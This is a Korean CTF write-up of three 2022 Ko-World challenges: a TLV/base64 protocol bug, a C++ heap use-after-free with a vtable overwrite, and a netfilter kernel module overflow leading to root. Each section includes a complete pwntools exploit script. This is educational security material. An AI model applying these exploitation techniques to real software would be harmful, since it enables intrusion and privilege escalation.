2022 Ko-World CTF Writeup

easytlv

  • protocol reversing, base64

32bit MSB executable 파일이 주어진다. 평소에 보던 LSB executable이 아니라 MSB executable 파일이라 패킹할 때 endian을 잘 고려해야 한다.

1
easytlv: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=31b0c6b8608636e8a3e67860615bb01a53b2af44, not stripped

base64인코딩은 https://gist.github.com/happyjake/3623640 의 소스코드를 활용한 걸로 보인다.

recv_message_header에서는 총 10바이트를 입력받게 되는데 첫 두바이트는 \x13\x37로 맞춰야한다. 다음 4바이트는 BASE64인코딩된 payload의 length이다. 다음 4바이트는 recv_messages_b64의 반복 루프 수이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall recv_message_header(int a1, unsigned int *a2, unsigned int *a3)
{
unsigned int v8; // [sp+20h] [-20h] BYREF
unsigned int v9; // [sp+24h] [-1Ch] BYREF
_BYTE v10[20]; // [sp+28h] [-18h] BYREF

if ( read(a1, v10, 2u) != 2 )
return -1;
if ( read(a1, &v8, 4u) != 4 )
return -1;
if ( read(a1, &v9, 4u) != 4 )
return -1;
if ( v10[0] != 0x13 || v10[1] != 0x37 )
return -2;
if ( v8 > 32768 )
return -2;
if ( v9 > 128 )
return -2;
*a2 = v8;
*a3 = v9;
return 0;
}

main함수에서 message_get함수를 호출하게 되는데 message_get(data, 255, 1);을 보면 recv_messages_b64에서 세팅한 값에 따라 control flow가 결정된다. 즉, *(data + i + 4)의 값을 255, *(data + i + 132)값을 0을 맞춰주면 된다. 그리고 *(_DWORD *)(data + 4 * (idx + 0x40) + 4)의 값을 1로 맞추면 do_ls 함수를 호출 할 수 있고, 2로 맞추면 do_cat함수를 호출할 수 있다.

message_get

1
2
3
4
5
6
7
8
9
10
11
unsigned int __fastcall message_get(unsigned int *data, char a2, char a3)
{
unsigned int i; // [sp+1Ch] [-14h]

for ( i = 0; *data > i; ++i )
{
if ( a2 == *(data + i + 4) && a3 == *(data + i + 132) )
return i;
}
return -1;
}

do_ls를 짜려면 다음과 같은 조건들을 만족해야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall do_ls(int a1)
{
int v3; // [sp+1Ch] [-14h]

if ( *(a1 + 4 * (message_get(a1, 0, 0) + 64) + 4) == 1 ) // a1[4*(64+idx)+4] == 1
{
v3 = *(a1 + 4 * (message_get(a1, 1, 2) + 64) + 4);
if ( v3 )
execl("/bin/ls", "/bin/ls", v3, 0);
}
return -1;
}

만약 ls / 를 호출하고 싶다면 다음과 같이 짜면 된다.

  1. message_get(a1, 0, 0)을 우선 만족시켜야 하고 *(_BYTE *)(data + 4 * (idx + 64) + 4) 가 1이면 된다. 이는 recv_messages_b64에서 주석처럼 채워주면 조건을 만족할 수 있다. 이 부분의 payload는 \x00\x00\x01\x00\x00\x00\x00\x01 이 된다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    plaintext = get_and_dec(plaintext, &d1, 1u, &size);// 0
    plaintext = get_and_dec(plaintext, &d2, 1u, &size);// 0
    plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x01\x00\x00\x00
    switch ( d2 )
    case 0:
    if ( d3 != 1 )
    return -1;
    plaintext = get_and_dec(plaintext, &d4, 1u, &size); // 1
    if ( !plaintext )
    return -1;
    *(_BYTE *)(data + idx + 4) = d1; // 0
    *(_BYTE *)(data + idx + 132) = d2; // 0
    *(_BYTE *)(data + 4 * (idx + 64) + 4) = d4 != 0;// *(a1 + 4 * (message_get(a1, 0, 0) + 64) + 4) == 1
    break;
  2. 다음은 execl(“/bin/ls”, “/bin/ls”, v3, 0); 에서 v3에 들어갈 경로를 세팅해야 한다. v3는 포인터가 들어가야한다. v3 = *(a1 + 4 * (message_get(a1, 1, 2) + 64) + 4); 그러면 case2를 이용하면 원하는 문자열을 넣을 수 있고 추가로 포인터를 세팅할 수 있다. ls / 을 할거면 /는 1글자니까 d3에 1을 세팅해주면 된다. 그러면 get_and_dec(plaintext, ptr, d3, &size) 코드를 통해 동적할당한 영역에 / 를 넣을 수 있고 이 포인터를 *(_DWORD *)(data + 4 * (idx + 64) + 4) 에 넣어서 execl의 세번째 인자로 넘길 수 있다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    plaintext = get_and_dec(plaintext, &d1, 1u, &size);// 1
    plaintext = get_and_dec(plaintext, &d2, 1u, &size);// 2
    plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x01\x00\x00\x00
    switch ( d2 ){
    case 2:
    ptr = malloc(d3);
    if ( !ptr )
    return -1;
    plaintext = get_and_dec(plaintext, ptr, d3, &size); // path
    if ( !plaintext )
    return -1;
    *(_BYTE *)(data + idx + 4) = d1; // 1
    *(_BYTE *)(data + idx + 132) = d2; // 2
    *(_DWORD *)(data + 4 * (idx + 64) + 4) = ptr;// v3 = *(a1 + 4 * (result + 64) + 4)
    break;
  3. ls를 호출하려면 main에서 do_ls를 call 해야한다. 우리는 do_ls를 할거면 주석처럼 조건을 맞춰주면 된다. main에서 v7 = message_get(data, 255, 1); 가 호출되고 여기 d4에 따라 do_ls, do_cat을 호출할지 결정할 수 있다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    plaintext = get_and_dec(plaintext, &d1, 1u, &size);// \xff
    plaintext = get_and_dec(plaintext, &d2, 1u, &size);// \x01
    plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x04\x00\x00\x00
    switch ( d2 )
    {
    case 1:
    if ( d3 != 4 )
    return -1;
    plaintext = get_and_dec(plaintext, &d4, 4u, &size); // 1 : do_ls | 2 : do_cat
    if ( !plaintext )
    return -1;
    *(_BYTE *)(data + idx + 4) = d1; // 255
    *(_BYTE *)(data + idx + 132) = d2; // 1
    *(_DWORD *)(data + 4 * (idx + 0x40) + 4) = d4 // 1 : do_ls | 2 : do_cat
    break;

페이로드는 다음과 같이 짜면 되고, header는 \x13\x37 고정하고, Base64 인코딩된 payload의 길이만큼 보내주면 되고, 다음은 switch 루틴 3번 돌리니까 3을 써주면 된다.
ls 페이로드랑 다르게 cat 페이로드는 /flag.txt는 9글자이므로 2번째 section은 9로 맞추고, 3번째 section은 2로 맞춰서 execl("/bin/cat", "/bin/cat", "/flag.txt", 0); 를 실행하게 하면 된다.

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import base64
context.log_level = 'debug'
p = remote('192.168.171.91',31337)

# content
ls = b"\x00\x00\x01\x00\x00\x00\x01"
ls += b"\x01\x02\x01\x00\x00\x00"
ls += b"/"
ls += b"\xff\x01\x04\x00\x00\x00\x01\x00\x00\x00"
pay2 = base64.b64encode(ls)

cat = b"\x00\x00\x01\x00\x00\x00\x01"
cat += b"\x01\x02\x09\x00\x00\x00"
cat += b"/flag.txt"
cat += b"\xff\x01\x04\x00\x00\x00\x02\x00\x00\x00"
pay2 = base64.b64encode(cat)

# header
pay = b'\x13\x37'
pay += p32(len(pay2), endian='little')
pay += p32(3, endian='little')

p.send(pay)
sleep(0.1)

p.send(pay2)

p.interactive()

ls payload를 보내면 다음과 같다.

cat payload를 보내면 다음과 같은 결과를 얻을 수 있다.

FLAG : The course of true love never did run smooth.

csh

  • UAF, C++ Map, vtable, RCE

바이너리에 모든 보호기법이 걸려있었다.

1
2
3
4
5
6
7
➜  day2 python3 ex.py
[*] '/vagrant/koworld/day2/csh'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
[+] PIE: PIE enabled

문제 컨셉은 csh 그대로 커스텀 쉘이다. 기능은 ls, echo, cat, rm Linux Command들이다. 파일을 실행하고 help를 누르면 다음과 같이 Custom Shell Command들이 나타난다. 총 4개의 기능들이 존재한다.

1
2
3
4
5
6
7
8
9
10
➜  day2 ./csh
> help
Custom Shell

command:
help - print usable command
ls - list directory contents
echo - display a line of text
cat - concatenate files and print on the standard output
rm - remove file

input에 따라 executeCommand에서 다음 control flow가 변경된다.

함수를 하나하나 자세히 알아보자.

echo는 총 3가지 방법으로 쓸 수 있다.

  1. echo AAAA : AAAA 출력한다.
  2. echo AAAA > BBBB : BBBB파일에 AAAA를 쓴다.
  3. echo AAAA >> BBBB : BBBB파일이 없으면 AAAA를 쓴다. 만약 BBBB파일이 있으면 AAAA를 덧붙임.

echo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
else if ( std::filesystem::__cxx11::operator==(v31, "echo") )
{
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v28, a1);
valid = validArguments(v28, 4);
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v28);
if ( valid )
{
v3 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
a1,
1LL);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v33, v3);
v4 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
a1,
2LL);
if ( std::filesystem::__cxx11::operator==(v4, ">") )// create file
{
v5 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
a1,
3LL);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v5);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
File = getOrCreateFile(MYOBJ);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v33);
CustomFileObj::create(File, MYOBJ); // create
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
}
else
{
v6 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
a1,
2LL);
if ( std::filesystem::__cxx11::operator==(v6, &off_A12C) )// add file
{
v7 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
a1,
3LL);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v7);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
v24 = getOrCreateFile(MYOBJ);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v33);
CustomFileObj::add(v24, MYOBJ); // add
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
}
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
}
else
{
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v29, a1);
v8 = validArguments(v29, 2);
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v29);
if ( v8 )
{
v9 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
a1,
1LL);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v9);
if ( std::filesystem::__cxx11::operator==(MYOBJ, ">") || std::filesystem::__cxx11::operator==(MYOBJ, &off_A12C) )
v11 = std::operator<<<std::char_traits<char>>(&std::cout, "syntax error near unexpected token 'newline'");
else
v11 = std::operator<<<char>(&std::cout, MYOBJ);
std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
}
else
{
v12 = std::operator<<<std::char_traits<char>>(&std::cout, "echo: invalid arguments");
std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
}
}
}

ls는 list()함수를 call해서 처리하는데 할당된 map들을 루틴 돌려서 파일을 출력해준다.

ls

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
else if ( std::filesystem::__cxx11::operator==(v31, "ls") )
{
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v30, a1);
v13 = validArguments(v30, 2);
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v30);
if ( v13 )
{
v14 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
a1,
1LL);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v14);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
list(MYOBJ);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
}
else
{
list();
}
}

cat은 getOrCreateFile을 통해서 Customfile을 읽을수 있다. 다만 여기서 가상함수를 사용해 호출한다.

cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ( std::filesystem::__cxx11::operator==(v31, "cat") )
{
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v30, a1);
v15 = 1;
if ( validArguments(v30, 2) )
v16 = 1;
}
if ( v15 )
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v30);
if ( v16 )
{
v17 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
a1,
1LL);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v17);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
v25 = getOrCreateFile(MYOBJ);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
v18 = (**v25)(v25); // vuln
Contents = CustomContentsObj::getContents(v18);
concatenate(Contents);
}

rm은 Customfile을 지워주는 역할을 한다. 여기서 remove에서 CreatefileObj의 메모리를 해제 하지 않는다.

rm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ( std::filesystem::__cxx11::operator==(v31, "rm") )
{
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::vector(v30, a1);
v19 = 1;
if ( validArguments(v30, 2) )
v20 = 1;
}
if ( v19 )
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v30);
if ( v20 )
{
v21 = std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::operator[](
a1,
1LL);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v32, v21);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
getOrCreateFileOBJ = getOrCreateFile(MYOBJ);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
CustomFileObj::remove(getOrCreateFileOBJ);// free file
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(MYOBJ, v32);
remove(MYOBJ);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string();
}

Exploit Scenario

vtable을 덮으려면 우선 leak을 해야한다. 나 같은 경우는 Fuzzing을 하면서 릭을 해낸 case다. 우선 heap주소, CustomFileObj vtable 주소, main_arean의 주소를 구할 수 있었다. 이를 통해서 heap base, pie base, libc base 주소를 다 구했다.

그 다음에 트리거하는 부분이다.

  1. g파일을 하나 만들고, g파일을 삭제한다.
  2. h파일을 만든다. 그리고 g파일을 만드는데 여기서 UAF(Use After Free) 취약점을 이용할 수 있다. 그리고 vtable을 덮을 수 있게 된다. 그래서 함수포인터를 호출할 때 원하는 주소로 call을 할 수 있다. 다만 여기서 double 포인터로 맞춰줘야한다. 그래서 위에서 할당할 때 힙에 p64(piebase + 0x2849) 값을 써준다. 어차피 힙 베이스 주소를 아니까 어디에 적재되는지 알 수 있다.
  3. 이제 쉘 주소가 힙에 써진걸 알았으면 gdb로 serach 기능 활용해서 offset을 구한다. 그리고 g파일을 생성하면 된다. 그리고 content에 heapbase + offset을 써주면 이게 piebase + 0x2849를 가르키고 call을 쉘 주소로 할 수 있다.
1
2
3
4
5
echo2(b'g',b'g')
rm(b'g')
echo2(b'h',b'h')
echo2(p64(heapbase+75448),b'g')
cat(b'h')

Exploit

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *

context.log_level = 'debug'
e = ELF('./csh')
# p = process(e.path, aslr=True)
p = remote('192.168.171.15',50000)

# shell = e.symbols['getRealShell']

def echo(data):
pay = b'echo ' + data
p.sendlineafter(b'>', pay)

def echo2(data, file):
pay = b'echo ' + data + b' > ' + file
p.sendlineafter(b'>', pay)

def echo3(data, file):
pay = b'echo ' + data + b' >> ' + file
p.sendlineafter(b'>', pay)

# 0x555555554000+0x000000000000391F
def cat(data):
pay = b'cat ' + data
p.sendlineafter(b'>', pay)

# 0x555555554000+0x00000000000049DC
def rm(file):
pay = b'rm ' + file
p.sendlineafter(b'>', pay)

def ls():
p.sendlineafter(b'>',b'ls')

echo2(b'a'*24, b'a')
echo2(b'b', b'b')
echo2(b'b'*24, b'a')

cat(b'a')
rm(b'a')
cat(b'a')

heapbase = hex(u64(b'\x00' + p.recvline()[:6] + b'\x00'))
heapbase = int(heapbase[:-1], 16) # [heap] +0x12200
heapbase = heapbase - 0x12200
print('heapbase : ' + hex(heapbase))

echo2(b'c'*128,b'z')
echo2(b'c'*16,b'z')
echo2(b'c'*120+b'\x12\x34\x12\x34\x56\x56\x78\x78',b'z')

# vtable
'''
0x555555576400 —▸ 0x555555562bc0 —▸ 0x5555555589c6 (CustomFileObj::getContentsObj())
0x555555562bc0 <vtable for CustomFileObj+16>: 0x00005555555589c6 0x00001555554f7fe0
0x555555562bd0 <typeinfo for CustomFileObj+8>: 0x000055555555e240 0x0000000000000001
'''
cat(b'a')
vtable_customfileobj16 = u64(p.recvline()[1:6]+b'\x55\x00\x00')
print('vtable for CustomFileObj+16 : {}'.format(hex(vtable_customfileobj16)))
piebase = vtable_customfileobj16 - 0xebc0
print('piebase : {}'.format(hex(piebase)))


echo2(b'B'*56 + p64(piebase + 0x2849), b'A'*64)
rm(b'z')
cat(b'z')
main_arena = u64(p.recvline()[1:7]+b'\x00\x00') # main_arena + 96
print('main_arena : {}'.format(hex(main_arena)))
libc_base = main_arena - 0x219ce0
print('libc_base : {}'.format(hex(libc_base)))

# # echo2(b'1234',b'5678')
# # echo2(b'5678',b'1234')

echo2(b'g',b'g')
rm(b'g')
echo2(b'h',b'h')
echo2(p64(heapbase+75448),b'g')
pause()
cat(b'h')
p.interactive()

'''
[heap] 0x556202a1f6b8 0x55620238f849
[heap] 0x556202a1f708 0x55620238f849
[heap] 0x556202a1f75d 0x55620238f849
[heap] 0x556202a1f85d 0x55620238f849
[heap] 0x556202a1f8fd 0x55620238f849
[heap] 0x556202a1f99d 0x55620238f849
[heap] 0x556202a1fa3d 0x55620238f849
[heap] 0x556202a1fb68 0x55620238f849
[heap] 0x556202a20028 0x55620238f849
[heap] 0x556202a2020e 0x55620238f849
[heap] 0x556202a2025e 0x55620238f849
0x555555554000+0x000000000000391F
pwndbg> p/x 0x55a06a847bc0 - 0x55a06a839000
$1 = 0xebc0
# map {'filename':'content'}


[*] '/vagrant/koworld/day2/csh'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
[+] PIE: PIE enabled
'''

FLAG : flag{hmm_th1s_sh3ll_1s_uns@fety}

capture

  • kernel, netfilter, LPE

서버환경은 Linux koworldctf 5.15.0-48-generic #54-Ubuntu SMP Fri Aug 26 13:26:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 다음과 같다.

1
2
3
4
5
6
7
8
➜  day3 modinfo capture.ko
filename: /vagrant/koworld/day3/capture.ko
license: GPL
srcversion: 0375125F8129DD64C2460B0
depends:
retpoline: Y
name: capture
vermagic: 5.15.0-48-generic SMP mod_unload modversions

packet 구조는 다음과 같습니다. tcp만 사용하고 udp는 사용 안합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct packet
{
char name[4];

union
{
struct tcp_packet tcp_pkt;
struct udp_packet udp_pkt;
};

struct operators ops;
};

struct operators
{
void (*clear)(void);
int (*handler)(struct sk_buff *);
};

취약한 부분은 다음과 같습니다. 이부분에서 clear함수 포인터를 덮을 수 있게 됩니다.

1
2
3
4
for (i = 0; i < payload_len; i++)
{
pkt->tcp_pkt.body.payload[i] = payload[i];
}

netfilter에서 네트워크를 후킹한다. tcp, udp의 패킷들을 capture해주므로 dmesg에서 확인할 수 있다.
코드를 보면 tcp 패킷이 들어오면 tcp_handler에서 처리해준다. 그 패킷을 동적할당 해논 pkt에 복사해준다. 하지만 여기서 패킷을 복사할 때 pkt->tcp_pkt.body.payload[i] = payload[i]; 코드 때문에 함수 포인터를 덮을 수 있게 된다. body 사이즈는 1440바이트고 뒤에 clear함수 포인터가 존재한다. ssh를 제공해줬으므로 kaslr을 고려하지 않고 로컬에서 아래처럼 privillege_escape함수의 주소를 패킹해서 보내주면 된다.

exploit.py

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import requests

context.log_level='debug'
p = remote('192.168.171.15', 9001)

packet = b'A'*1440
packet += p64(0xffffffffc06382c9)

p.send(packet)
p.interactive()

익스플로잇 순서는 다음과 같다.

  1. ssh 내부에서 9001번 포트로 연다.

  2. 위의 python exploit code를 보낸다.

  3. 그러면 privilege escape !가 뜨는 것을 확인할 수 있다. commit_creds(prepare_kernel_cred(0)); 가 실행되면 Linux의 Task 구조체를 덮어서 해당 태스크는 최고관리자 권한을 획득할 수 있게 됩니다.

FLAG: flag{EZPZ_FUNNY_NETFILTER}